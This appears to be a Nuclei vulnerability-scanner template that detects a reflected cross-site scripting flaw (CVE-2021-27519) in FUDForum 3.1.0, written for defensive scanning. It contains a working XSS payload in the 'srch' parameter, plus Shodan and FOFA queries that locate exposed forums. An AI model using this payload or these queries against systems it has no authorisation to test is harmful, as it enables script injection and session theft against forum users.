id: CVE-2021-27519

info:
  name: FUDForum 3.1.0 - Cross-Site Scripting
  author: kh4sh3i
  severity: medium
  description: |
    FUDForum 3.1.0 contains a cross-site scripting vulnerability which allows remote attackers to inject JavaScript via index.php in the "srch" parameter.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement.
  remediation: |
    Upgrade to the latest version of FUDForum or apply the provided patch to fix the XSS vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/49942
    - https://github.com/fudforum/FUDforum/issues/2
    - http://packetstormsecurity.com/files/162942/FUDForum-3.1.0-Cross-Site-Scripting.html
    - https://nvd.nist.gov/vuln/detail/CVE-2021-27519
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-27519
    cwe-id: CWE-79
    epss-score: 0.07604
    epss-percentile: 0.93768
    cpe: cpe:2.3:a:fudforum:fudforum:3.1.0:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: fudforum
    product: fudforum
    shodan-query:
      - 'http.html:"Powered by: FUDforum"'
      - http.html:"fudforum"
      - 'http.html:"powered by: fudforum"'
    fofa-query:
      - 'body="powered by: fudforum"'
      - body="fudforum"
  tags: cve2021,cve,xss,fudforum,edb,packetstorm,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/index.php?SQ=0&srch=x"+onmouseover%3Dalert%281%29+x%3D"&t=search&btn_submit.x=0&btn_submit.y=0'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'highlightSearchTerms("x" onmouseover=alert(1) x="");'

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100b48a6de6f95190143b72b4c07987bb6ebe947f888012f420c3fe5718728c00f5022100c33ee510ed4eedbb9c1f0d503c9ec7bee9cbbf611c10b1f3e86639df51c95036:922c64590222798bb761d5b6d8e72950